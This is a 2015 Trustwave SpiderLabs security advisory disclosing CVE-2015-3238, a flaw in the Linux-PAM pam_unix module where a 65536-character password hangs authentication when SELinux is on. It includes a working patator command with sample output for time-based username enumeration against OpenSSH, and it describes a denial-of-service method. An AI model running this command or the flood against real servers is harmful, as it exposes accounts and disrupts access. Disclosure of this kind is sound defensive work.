Trustwave SpiderLabs Security Advisory TWSL2015-011:
Vulnerability in the pam_unix module in Linux-PAM

Published: 06/26/15
Version: 1.0

Vendor: Linux-PAM (http://www.linux-pam.org/)
Product: pam_unix module
Versions affected: 1.2.0 and prior

Product description:
Linux-PAM (Pluggable Authentication Modules for Linux) is a *Free* project to
implement OSF's RFC 86.0. Pluggable authentication modules are small shared
object files that can be used through the PAM API to perform tasks, like
authenticating a user at login. Local and dynamic reconfiguration are its key
features.

Finding 1: Blocking write(2) in _unix_run_helper_binary
Credit: Sebastien Macke of Trustwave SpiderLabs
CVE: CVE-2015-3238
CWE: CWE-208

If SELinux is enabled, the _unix_run_helper_binary function in Linux-PAM 1.1.8
and earlier hangs indefinitely when verifying a password of 65536 characters,
which allows attackers to conduct username enumeration and denial of service
attacks.

When supplying a password of 65536 characters or more, the process will block
on the write(2) call at modules/pam_unix/support.c:614 because it tries to
write strlen(passwd)+1 bytes to a blocking pipe and a pipe has a limited
capacity of 65536 bytes on Linux.

Example:

An attacker could leverage this issue to conduct a time-based username
enumeration attack against OpenSSH, as demonstrated below against CentOS 7.1
fully patched with SELinux enabled (the vulnerable function is not called if
SELinux=disabled in /etc/selinux/config):

$ python patator.py ssh_login host=10.0.0.8 user=FILE0 0=logins.txt password=$(perl -e "print 'A'x65536") --max-retries 0 -x ignore:time=0-3
16:30:13 patator    INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-04-01 16:30 AEDT
16:30:13 patator    INFO -
16:30:13 patator    INFO - code  size    time | candidate    |   num | mesg
16:30:13 patator    INFO ------------------------------------------------------------------------------
16:32:13 patator    INFO - 1     22   119.968 | root         |     2 | Authentication failed.
16:32:13 patator    INFO - 1     22   119.927 | joe          |     5 | Authentication failed.
16:32:13 patator    INFO - 1     22   119.928 | john         |     8 | Authentication failed.
...

An attacker could also cause a denial of service by repeatedly sending a valid
username with a 65536 character password to the OpenSSH daemon, which will then
temporarily deny new connections after hitting MaxStartups.

Remediation Steps:
Upgrade the Linux-PAM module to version 1.2.1.

Revision History:
05/12/15 - Vulnerability disclosed to vendor
06/25/15 - Patch released by vendor
06/26/15 - Advisory published


References
1. https://bugzilla.redhat.com/show_bug.cgi?id=1228571
2. https://bugzilla.redhat.com/attachment.cgi?id=1038860


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